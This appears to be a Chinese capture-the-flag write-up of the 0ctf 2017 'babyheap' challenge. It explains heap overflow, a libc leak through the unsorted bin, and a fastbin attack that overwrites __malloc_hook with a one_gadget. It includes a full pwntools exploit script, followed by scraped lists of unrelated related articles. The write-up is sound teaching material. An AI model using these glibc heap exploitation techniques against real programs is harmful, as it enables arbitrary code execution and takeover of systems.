0ctf2017-babyheap
前言
又是一道令人怀疑人生的 baby
题。
这道题利用思路非常巧妙,通过 堆溢出
和 fastbin
的机制构造了 information leak
, 然后通过 fastbin attack
可以读写 malloc_hook
, 然后使用 one_gadget
来 getshell
.
题目和 idb 文件:https://gitee.com/hac425/blog_data/tree/master/babyheap
正文
程序涉及的结构体 info
的结构如下,可以通过 allocate
功能逆出来
程序首先 mmap
了一个 随机的地址,用于存放 info table
(就是存储info
的数组).
程序的漏洞在于,在 allocate
时程序根据我们的输入 分配 size
(size < 0x1000)大小的块。
然而 在 fill
我们可以写入任意大小的数据
经典的堆溢出。
问题在于,程序保护全开,而且 info table
的地址还是随机的,而且分配内存时,用的时 calloc
会把内存初始化为0。 所以常用的 大chunk包含小chunk
的信息泄露方式没法使用。
这里通过将 堆溢出
转换为 uaf
来进行信息泄露。
首先分配 多个 chunk
然后释放 偏移为 1,3
的块,它们会进入 fastbin
,然后通过部分溢出chunk 2
使得下面那个 fastbin
的 fd
指向下面那个大的块,然后溢出 chunk 4
修改其大小为 0x21
来 bypass
掉 fastbin
分配的 check
然后分配两次我们就能再次拿到这个 大的 chunk
, 代码如下
因为此时我们还没有得到任何 地址,不过各个 chunk
的相对偏移应该是固定的,只要内存的分配顺序,大小没有变化,所以我们可以通过修改 fd
的低字节(小端字节序)就能 使 fd
指向我们的 大chunk
。
此时我们在把 大chunk
的 size
修复,然后 用 free
刚刚分配的 info
,它就会进入 unsorted bin
,此时在 chunk+0x10
处就有了 main_arean
的地址 (unsorted bin
的 指针),然后用另外一个 info
打印内容即可 leak
.
费劲千辛万苦我们终于拿到了 libc
的地址,对于这种全开的一般想到的就是修改 __malloc_hook
或者 __free_hook
, 问题来了,怎么修改。
又是一种新的思路。我们可以在 __malloc_hook
附近找到合适的位置,进行 fastbin attack
.
x/4gx (long long)(&main_arena)-0x40+0xd
如果以这里为一个 chunk
,这个 chunk
应该被放到 0x70
大小的 fastbin
里面。所以接下来的利用思路就是,构造一个 0x70
大小的 fastbin
, 然后溢出修改 fd
到这个 chunk
,分配两次我们就能读写 __malloc_hook
了,修改它为 one_gadget
即可。
还有一个小 tips
,之前 uaf
的时候还有一块 0x110
的 chunk
在 unsorted bin
, 所以我们需要先把这块内存给分配掉,然后在 进行布局。
最后
one_gadget
一个一个试,与寄存器和内存数据的状态有关。利用 main_arean
的数据进行 fastbin attack
这个 思路强悍。
参考
http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html
exp
from pwn import *
from time import sleep
# x/4gx (long long)(&main_arena)-0x40+0xd
def allocate(size):
p.recvuntil("Command:")
p.sendline("1")
p.recvuntil("Size:")
p.sendline(str(size))
sleep(0.1)
def fill(index, content):
p.recvuntil("Command:")
p.sendline("2")
p.recvuntil("Index:")
p.sendline(str(index))
p.recvuntil("Size:")
p.sendline(str(len(content)))
p.recvuntil("Content:")
p.send(content)
sleep(0.1)
def free(index):
p.recvuntil("Command:")
p.sendline("3")
p.recvuntil("Index:")
p.sendline(str(index))
sleep(0.1)
def dump(index):
p.recvuntil("Command:")
p.sendline("4")
p.recvuntil("Index:")
p.sendline(str(index))
p.recvuntil("Content: \n")
p = process("./0ctfbabyheap")
gdb.attach(p,'''
c
''')
pause()
allocate(0x10) # 0
allocate(0x10) # 1
allocate(0x10) # 2
allocate(0x10) # 3
allocate(0x10) # 4
allocate(0x100) # 5
allocate(0x10) # 6
allocate(0x10) # 7
log.info("allocat some chunk, large in chunk 5")
pause()
free(1)
free(3)
log.info("free 1, 3")
#pause()
payload = "A" *0x10
payload += p64(0)
payload += p64(0x0000000000000021)
payload += "\xa0"
fill(2, payload)
log.info("modify chunk 3 's fastbin ptr, to 0xa0")
#pause()
payload = "A" *0x10
payload += p64(0)
payload += p64(0x0000000000000021)
fill(4, payload)
log.info("modify chunk 5 's size to 0x21 for bypass check")
#pause()
allocate(0x10) # 1
allocate(0x10) # 3, get large bin
log.info("now allocate 2 chunk to get the large bin")
#pause()
payload = "A" *0x10
payload += p64(0)
payload += p64(0x00000000000000111)
fill(4, payload)
log.info("resume large chunk size")
#pause()
free(3)
log.info("free the large bin, and our chunk 5 in unsorted bin")
#pause()
dump(5)
addr = u64(p.recv(8))
libc = addr - 0x3c4b78
one_gadget = libc + 0x4526a
log.info("libc: " + hex(libc))
log.info("one_gadget: " + hex(one_gadget))
#pause()
allocate(0x100) # 3
allocate(0x60) # 8
free(8)
payload = "A" *0x10
payload += p64(0)
payload += p64(0x0000000000000071)
payload += p64(libc + 0x3c4aed) # fake fastbin 0x70 size
fill(7, payload)
log.info("fake fastbin")
#pause()
allocate(0x60) # 8
allocate(0x60) # 9
log.info("now chunk 9 on " + hex(libc + 0x3c4aed))
payload = "A" * 19
payload += p64(one_gadget) # modify malloc hook
fill(9, payload)
allocate(0x10)
p.interactive()
0ctf2017-babyheap的更多相关文章
- Roarctf 几道pwn 复现
1.easy_pwn 可以利用的点: __int64 __fastcall sub_E26(signed int a1, unsigned int a2) { __int64 result; // r ...
- pwn with glibc heap(堆利用手册)
前言 对一些有趣的堆相关的漏洞的利用做一个记录,如有差错,请见谅. 文中未做说明 均是指 glibc 2.23 相关引用已在文中进行了标注,如有遗漏,请提醒. 简单源码分析 本节只是简 ...
- 网鼎杯 pwn 记录
题目位置 https://gitee.com/hac425/blog_data/tree/master/wdb babyheap 通过分配和释放构建 2 个 fastbin 链 利用 show 功能, ...
- 0ctf2018 pwn
前言 对 0ctf2018 的 pwn 做一个总结 正文 babystack 漏洞 非常直接的 栈溢出 ssize_t sub_804843B() { char buf; // [esp+0h] [e ...
- Pwn with File结构体之利用 vtable 进行 ROP
前言 本文以 0x00 CTF 2017 的 babyheap 为例介绍下通过修改 vtable 进行 rop 的操作 (:-_- 漏洞分析 首先查看一下程序开启的安全措施 18:07 haclh@u ...
- babyheap_fastbin_attack
babyheap_fastbin_attack 首先检查程序保护 保护全开.是一个选单系统 分析程序 void new() { int index; // [rsp+0h] [rbp-10h] sig ...
- 2017-0ctf-babyheap
fastbin attack + unsortedbin attack + __malloc_hook 的基础利用 题目下载 : https://uaf.io/assets/0ctfbabyheap ...
- *CTF pwn write up
第一次做出XCTF的题目来,感谢wjh师傅的指点,虽然只做出一道最简单的pwn题,但是还是挺开心的.此贴用来记录一下,赛后试着看看其他大师傅的wp,看看能不能再做出一道题来. babyheap 程序有 ...
随机推荐
- linux 可执行文件与写操作的同步问题
当一个可执行文件已经为write而open时,此时的可执行文件是不允许被执行的.反过来,一个文件正在执行时,它也是不允许同时被write模式而open的.这个约束很好理解,因为文件执行和文件被写应该需 ...
- 【Java并发编程】:深入Java内存模型——happen-before规则及其对DCL的分析
happen—before规则介绍 Java语言中有一个“先行发生”(happen—before)的规则,它是Java内存模型中定义的两项操作之间的偏序关系,如果操作A先行发生于操作B,其意思就是说, ...
- 转载 linux umount 时出现device is busy 的处理方法--fuser
http://www.cnblogs.com/spicy/p/6894333.html (原文链接) 当任何目录有 mount, 然后有程序使用/挂在那个目录上的话, 就没有办法 umount 掉, ...
- MongoDB运行状态、性能监控,分析
转载自这位仁兄:地址 mongostat详解 mongostat是mongdb自带的状态检测工具,在命令行下使用.它会间隔固定时间获取mongodb的当前运行状态,并输出.如果你发现数据库突然变慢或者 ...
- Kubernetes+Flannel 环境中部署HBase集群
2015-12-14注:加入新节点不更改运行节点参数需求已满足,将在后续文章中陆续总结. 注:目前方案不满足加入新节点(master节点或regionserver节点)而不更改已运行节点的参数的需求, ...
- python笔记09-----装饰器,生成器,迭代器
1.装饰器 定义:本质是函数,(装饰其他函数)就是为其他函数添加附加功能 原则:1.不能修改被装饰的函数的源代码 2.不能修改被装饰的函数的调用方式 实现装饰器的知识储备: 1. 函数即“变 ...
- java.text包
JDK在java.text包中,提供了对显示对象格式化的接口.类及异常处理,这里我们只来谈一谈text包中的format类及其子类.其中,最重要的是两个差不多互为“逆运算”的方法format(将某对象 ...
- form表单select的选项值选择
html: <form action=""> <p>选择城市</p> <p> <select name="" ...
- Python描述符(__get__,__set__,__delete__)简介
先说定义,这里直接翻译官方英文文档: 一般来说,描述符是具有“绑定行为”的对象属性,该对象的属性访问将会被描述符协议中的方法覆盖.这些方法是__get__(),__set__(),和__delete_ ...
- Golang 并发Groutine详解
概述 1.并行和并发 并行(parallel):指在同一时刻,有多条指令在多个处理器上同时执行. 并发(concurrency):指在同一时刻只能有一条指令执行,但多个进程指令被快速的轮换执行,使得在 ...